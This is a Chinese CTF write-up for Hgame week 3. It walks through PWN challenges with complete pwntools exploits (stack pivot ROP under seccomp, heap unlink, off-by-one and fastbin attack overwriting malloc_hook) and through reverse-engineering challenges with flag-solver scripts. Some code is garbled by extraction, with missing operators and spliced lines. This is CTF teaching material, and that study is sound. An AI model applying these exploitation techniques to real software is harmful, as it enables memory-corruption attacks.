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一次受益颇多的CTF(REPWN)

freebuf 2020-02-18 455 0

本文来源:一次受益颇多的CTF(REPWN)

原创 Nepents 合天智汇

##前言

这个是Hgame_CTF第三周的题目，难度一周比一周大，而且还涉及了多方面的知识，一整期做下来对或许会有一个比较大的提升。其中有一道逆向，是通过监控本地端口来获取输入的，第一次接触这种输入模式，故借此机会记录一下。

上两周的题目回顾：HgameCTF(week1)-RE,PWN题解析

记一次春节CTF实战练习(RE/PWN)

##pwn ###ROP_LEVEL2

程序init禁用了59号中断，所以不能getshell

__int64 init() { __int64 v0; // ST08_8 v0 = seccomp_init(2147418112LL); seccomp_rule_add(v0, 0LL, 59LL, 0LL); seccomp_load(v0); return 0LL; }

main函数存在栈溢出，但是最多只能覆盖到EBP和返回地址。前边会读取256个字节进入buf全局变量。可以通过栈迁移把栈区迁移到buf中，然后在buf中构造ROP，调用OPEN函数打开flag然后跳到0x040098F地址读取并输出flag。

#!/usr/bin/python #coding:utf-8 from pwn import * from time import * from LibcSearcher import * context.log_level="debug" EXEC_FILE = './ROP' io = remote('47.103.214.163',20300) #io = process('./ROP') elf = ELF(EXEC_FILE) #padding = 88 read_plt = elf.plt['read'] open_plt = elf.plt['open'] io.recvuntil('?') #payload = 'flag\x00\x00\x00\x00'# payload = p64(0x060119F) payload += p64(0x0400a43)#pop rdi payload += p64(0x6010e0)#flag payload += p64(0x0400a41)#pop rsi payload += p64(0) payload += p64(0)#pading payload += p64(open_plt) payload += p64(0x040098F)# payload += 'flag\x00\x00\x00\x00'# io.sendline(payload)#buf 0x006010A0 payload = 'a'*80 payload += p64(0x06010A0)#buf payload += p64(0x4009D5 io.sendline(payload) print io.recv() io.interactive()

###Annevi_Note

查看edit函数，每次会固定读入256个字节。而每次只能申请小于143字节的堆块，照成堆溢出。

__int64 edit() { int v1; // [rsp+Ch] [rbp-4h] puts("index?"); v1 = readi(); if ( list[v1] ) { printf("content:"); read_n((__int64)list[v1], 256); puts("done!"); } else { puts("Invalid index!"); } return 0LL; }

check一下文件查看开了哪些保护

v2-fc8a52a43d5072d97719a016ec1a6555_hd.j

可以先申请usorted bin然后释放再申请回来调用show函数输出unsorted bin addr，先减去88再减去main_arena_offset求出libc基地址，不同版本的libc对应着不同版本的main_arena_offset。然后使用unlink使得能改变list中的元素，写入malloc hook地址，然后改变malloc hook为one gadget。

exp

#!/usr/bin/python# coding:utf-8 from pwn import * from time import * from LibcSearcher import * context.log_level="debug" #EXEC_FILE = "./ROP_LEV" REMOTE_LIBC = "./libc-2.23.so" #main_offset = 3951392 io = remote('47.103.214.163',20301) #io = process('./Annevi') #elf = ELF(EXEC_FILE) libc = ELF(REMOTE_LIBC)

def add(size,content): io.sendlineafter(':','1') io.sendlineafter('?',str(size)) io.sendlineafter(':',content) def edit(idx,content): io.sendlineafter(':','4') io.sendlineafter('?',str(idx)) io.sendlineafter(':',content)

def delete(idx): io.sendlineafter(':','2') io.sendlineafter('?',str(idx)) def show(idx): io.sendlineafter(':','3') io.sendlineafter('?',str(idx))

add(150,'a') add(150,'b') delete(0) add(150,'a'*7) show(0)#求出libc基地址 io.recvuntil('a'*7) unsorted_bin = u64(io.recvn(7)[1:].ljust(8,'\x00')) - 88 print hex(unsorted_bin) libc_addr = unsorted_bin - 3951392 delete(0) delete(1) malloc_hook = libc_addr + libc.sym['__malloc_hook'] x = 0x0602040 fd = x-0x18 bk = x-0x10 payload = p64(0) payload += p64(0x70) payload += p64(fd)+p64(bk) payload += 'a'*(0x70-(8*4))+p64(0x70) payload += p64(0)*3+p64(0x90)+p64(0xa0) add(0x90,'a')#0 add(0x90,'b')#1 add(0x90,'c') edit(0,payload) delete(1) payload = p64(0)*3 payload += p64(malloc_hook) edit(0,payload) edit(0,p64(libc_addr+0xf1147)) io.sendlineafter(':','1') io.sendlineafter('?',str(150)) io.interactive()

###E99p1ant_Note

查看read_n函数，存在off-by-one。能修溢出修改一个字节。

__int64 __fastcall read_n(__int64 a1, int a2) { int i; // [rsp+1Ch] [rbp-4h] for ( i = 0; i = a2; ++i ) { read(0, (void *)(i + a1), 1uLL); if ( *(_BYTE *)(i + a1) == 10 ) break; } return 0LL; }

可以按照上面一道题的方法，先泄露出libc基地址。然后利用off-by-one配合unsorted bin attack，使得链表中两个元素指向同一块内存，然后利用fastbin attack修改malloc hook变成one gadget。

#!/usr/bin/python #coding:utf-8 from pwn import * from time import * from LibcSearcher import * context.log_level="debug" REMOTE_LIBC = "./libc-2.23.so" #main_offset = 3951392 io = remote('47.103.214.163',20302) #io = process('./E99') #elf = ELF(EXEC_FILE) libc = ELF(REMOTE_LIBC) def add(size,content): io.sendlineafter(':','1') io.sendlineafter('?',str(size)) io.sendlineafter(':',content) def edit(idx,content): io.sendlineafter(':','4') io.sendlineafter('?',str(idx)) io.sendlineafter(':',content) def edits(idx,content): io.sendlineafter(':','4') io.sendlineafter('?',str(idx)) io.recvuntil(':') io.send(content) #io.sendlineafter(':',content) def delete(idx): io.sendlineafter(':','2') io.sendlineafter('?',str(idx))def show(idx): io.sendlineafter(':','3') io.sendlineafter('?',str(idx)) add(0x88,'a') add(0x88,'b') delete(0) add(0x88,'a'*7) show(0)#求出libc基地址 io.recvuntil('a'*7) unsorted_bin = u64(io.recvn(7)[1:].ljust(8,'\x00')) - 88 print hex(unsorted_bin) libc_addr = unsorted_bin - 3951392 delete(0) delete(1) add(0x88,'a')# 0add(0x88,'b')#1 add(0x88,'c')#2 add(0x88,'d')#3 add(0x88,'e')#4 add(0x88,'f')#5 delete(0) edits(3,'a'*0x80+p64(0x240)+p8(0x90)) delete(4) add(0x88,'a') #0add(0x68,'a')#4 add(0x10,'a')#6 add(0x68,'a')#7 add(0x10,'a')#8 delete(4) delete(7) malloc_hook = libc_addr + libc.sym['__malloc_hook'] edit(1,p64(malloc_hook-35)*2) add(0x68,'a')#4 add(0x68,'b')#7 print hex(libc_addr+0xf24cb) raw_input() add(0x68,'a'*(19-8)+p64(libc_addr+0xf1147)+p64(libc_addr+0xf1147)) io.sendlineafter(':','1') io.sendlineafter('?',str(100)) io.interactive()

##re

###oooollvm

程序加了ollvm混淆，或许可以用deflat.py去除，但是该程序逻辑比较简单，虽然加了混淆，但还是可以看清楚逻辑，所以可以带混淆逆。其实如果实在真的解不了混淆，可以凭经验下断点，或者在全部的真实块下断点动态调试也是可以的，不过比较麻烦。

v2-cd6924ecf0b08f0e82a8d302ce51a35d_hd.j

v12为计数器，table1和flag经过计算和table2对比。

可以写脚本。

table_2 = [0x77,0x25,0x71,0x3F,0xF1,0x46,0xAB,0x4F,0x5F,0x7E,0x87,0x89,0x3E,0x89,0x24,0x17,0x5C,0x19,0xA1,0x36,0xD2,0x3C,0x72,0x51,0x21,0x9C,0xB7,0xA5,0xD0,0x9A,0x1A,0x77,0x06,0x3A] table_1 = [0x1F,0x41,0x0E,0x4F,0x90,0x38,0x95,0x1C,0x2B,0x1F,0xC0,0xCB,0x03,0xAF,0x6D,0x45,0x5C,0x63,0xBF,0x67,0x83,0x4F,0x16,0x1C,0x3C,0xAF,0xAF,0x75,0x9D,0xBA,0x2C,0x1C,0x43,0x26] flag = "" for i in range(34): for q in range(20,127): if (table_2[i] == (~q if ( v81[1] != 9 )// flag长度为9 { *(_QWORD *) *((_QWORD *) fmt_Fprintln( (__int64)a1, a2, (__int64)os_Exit((__int64)a1); }

然后进入sha1加密后对比。由于没有的信息，有点难猜测9位是啥。

v80 = v62; *(_QWORD *)v62 = 0xEFCDAB8967452301LL; *(_QWORD *)(v62 + 8) = 0x1032547698BADCFELL; *(_DWORD *)(v62 + 16) = 0xC3D2E1F0; *(_OWORD *)(v62 + 88) = 0LL; v13 = *v81; runtime_stringtoslicebyte((__int64)a1, a2, v81[1], (__int64)v81, v14, v15); *(_QWORD *) *((_QWORD *) crypto_sha1___digest__Write((__int64)a1, a2, 1LL, 1LL, v17, v16); v64 = 0LL; crypto_sha1___digest__Sum((__int64)a1, a2, v18, v19, v20, v21, v80); v76 = 1LL; runtime_newobject(); v79 = 0LL; unk_0 = 0x532A878B04894333LL; unk_4 = xmmword_5514B0; runtime_convTslice((__int64)a1, a2, v22); v78 = 0LL >> 63; runtime_convTslice((__int64)a1, a2, v23); *(_QWORD *) reflect_DeepEqual((__int64)a1, a2, v24, v78, v25); v28 = v81; v29 = v81[1]; v68 = v81[1]; v30 = *v81; v77 = *v81; cout = 0LL;

后来发现这9位和:2333拼接，进入net_Listen函数。

flag___FlagSet__Parse((__int64)a1, a2, qword_647088, os_Args, *(__int128 *) runtime_concatstring3( (__int64)a1, a2, v72[1], v74[1], v37, v38, 0, *v74, v74[1], (unsigned __int64)":=?CLMNPSUZ[\n\t" , 1, *v72, v72[1]); *(_QWORD *) *((_QWORD *) net_Listen((__int64)a1, a2, (__int64)

这9位可能是个ip地址，2333是端口。猜测127.0.0.1和localhost，发现是localhost。然后运行net_Listen函数监听本地端口2333数据。可以使用telnet往本机端口发送数据。

v2-a96ecf02e4ae43b3fba6c5221872083e_hd.j

当接收打数据后，程序会进入main_handleRequest函数，使用des加密监听到的数据对比，密钥为localhost。

v2-9997c9ddc47469755cd8f9c3a681341e_hd.j

直接解密得到flag

v2-902737356c05c97e3dbd1efac19168e4_hd.j

###hidden

先通过ida的交叉调用定位到sub_1400012E0函数。函数先读入flag，判断是不是40字节。

__int64 sub_1400012E0(){ __int64 v0; // rax char v2; // [rsp+28h] [rbp-30h] sub_140001C10( sub_1400015D0(std::cin, if ( sub_1400024A0() == 40 ) {v0 = sub_1400023D0((__int64)sub_140001270(v0); } sub_140001E30((__int64) return 0i64;}

进入到sub_140001270函数

__int64 __fastcall sub_140001270(__int64 a1){ __int64 v1; // rdi int v2; // ebx int v3; // eax __int64 result; // rax v1 = a1; v2 = sub_1400010C0(0, (unsigned __int8 *)a1, 0x14ui64); v3 = sub_1400010C0(0, (unsigned __int8 *)(v1 + 20), 0x14ui64); if ( v2 != 0x18257154 || v3 != 2058429201 )result = sub_140001030(0); elseresult = sub_140001030(1); return result;}

flag分成两部分进入sub_1400010C0函数。

__int64 __fastcall sub_1400010C0(int a1, unsigned __int8 *a2, unsigned __int64 a3) { int v3; // ebx unsigned __int64 v4; // rbp unsigned __int8 *v5; // r14 unsigned int v6; // er12 unsigned int *v7; // r15 signed int v8; // edi unsigned int *v9; // rsi unsigned int v10; // edx unsigned int v11; // ecx unsigned int v12; // edx unsigned int v13; // ecx unsigned int v14; // edx unsigned int v15; // ecx unsigned int v16; // edx unsigned int v17; // ebx unsigned __int8 *v18; // rdx __int64 v19; // rax unsigned int v21; // [rsp+50h] [rbp+8h] v3 = a1; v4 = a3; v5 = a2; v6 = v21; v7 = (unsigned int *)VirtualAlloc(0i64, 0x4000ui64, 0x3000u, 0x40u); v8 = 0; v9 = v7; do { if ( v8 >= 256 ) { *v9 = v6 ^ *(unsigned int *)((char *)v9 + if ( v8 == 4095 ) sub_140001010(v5, sub_140001030, v7 + 256, sub_1400010A0);}else { v10 = ((unsigned int)v8 >> 1) ^ 0xEDB88320; if ( !(v8 v11 = (v10 >> 1) ^ 0xEDB88320; if ( !(v10 v12 = (v11 >> 1) ^ 0xEDB88320; if ( !(v11 v13 = (v12 >> 1) ^ 0xEDB88320; if ( !(v12 v14 = (v13 >> 1) ^ 0xEDB88320; if ( !(v13 v15 = (v14 >> 1) ^ 0xEDB88320; if ( !(v14 v16 = (v15 >> 1) ^ 0xEDB88320; if ( !(v15 v6 = (v16 >> 1) ^ 0xEDB88320; if ( !(v16 *v9 = v6; } ++v8; ++v9; } while ( v8 4096 ); v17 = ~v3; v18 = v5; if ( v5 > if ( v4 ) {do{ v19 = *v18++; v17 = (v17 >> 8) ^ v7[v19 ^ (unsigned __int8)v17];}while ( v18 - v5 v4 ); } return ~v17;}

看算法生成了表，很像是CRC32算法。但是会进入sub_140001010函数。

v2-e2fb70c1b09bfca84998f6f2356e5d97_hd.j

里边call r8，并且还会调用一个可以输出正确信息的函数。并且这个函数结束之后，会运行int指令。题目名叫hidden，或许真正有用的信息就隐藏在里边。可以动态调试一下到底调用了哪些函数。

__int64 __fastcall sub_283C8F00400(__int64 a1, __int64 (__fastcall *a2)(_QWORD)) { signed int j; // [rsp+20h] [rbp-78h] signed int i; // [rsp+24h] [rbp-74h] signed int l; // [rsp+28h] [rbp-70h] signed int k; // [rsp+2Ch] [rbp-6Ch] unsigned int v7; // [rsp+30h] [rbp-68h] char v8[38]; // [rsp+38h] [rbp-60h] char v9; // [rsp+5Eh] [rbp-3Ah] char *v10; // [rsp+60h] [rbp-38h] __int64 v11; // [rsp+68h] [rbp-30h] __int64 v12; // [rsp+70h] [rbp-28h] __int64 v13; // [rsp+78h] [rbp-20h] __int64 v14; // [rsp+80h] [rbp-18h] __int64 v15; // [rsp+88h] [rbp-10h] for ( i = 0; i 40; ++i ) v8[i] = *(_BYTE *)(a1 + i); v10 = for ( j = 0; j 19; ++j ) { for ( k = 0; k 2; ++k ) { v8[j] ^= v8[j + 19]; v8[j] += v10[k]; v8[j + 19] -= 103; v8[j + 19] ^= v8[j]; } } v7 = 1; for ( l = 0; l 40; ++l ) { v11 = 8896099409227384902i64; v12 = 5221214014029134222i64; v13 = 5439652918615309179i64; v14 = -9114877380574607267i64 ;v15 = 9035724225678832282i64; if ( v8[l] != *((char *) return a2(v7); } } return a2(v7); }

这估计就是真正处理flag的函数了，a2会通过判断传进去的参数输出正确或者失败。可以写脚本。

flag = [0x46,0x88,0x8F,0x75,0x47,0x4B,0x75,0x7B,0x8E,0x79,0x7F,0x8A,0x7B,0x7A,0x75,0x48,0x7B,0x7B,0x7B,0x4B,0x82,0x87,0x7D,0x4B,0x5D,0x88,0x9B,0xA7,0x50,0x73,0x81,0x81,0x9A,0x72,0xFA,0x57,0x4F,0x57,0x65,0x7D]

for i in range(18,-1,-1): for q in range(1,-1,-1): flag[i+19] = (flag[i+19]^flag[i])&0xff flag[i+19] = (flag[i+19]+103)&0xff flag[i] = (flag[i]-flag[(q+38)])&0xff flag[i] = (flag[i]^flag[i+19])&0xffflags = ""for i in flag: flags+=chr(i)print flags

如果想更多系统的学习CTF，可点击“CTF从入门到实践-CTF一站式学习平台-合天网安实验室”，进入CTF实验室学习，里面涵盖了6个题目类型系统的学习路径和实操环境。

v2-f82bb89765c24d5d1676a06697cb56fa_hd.j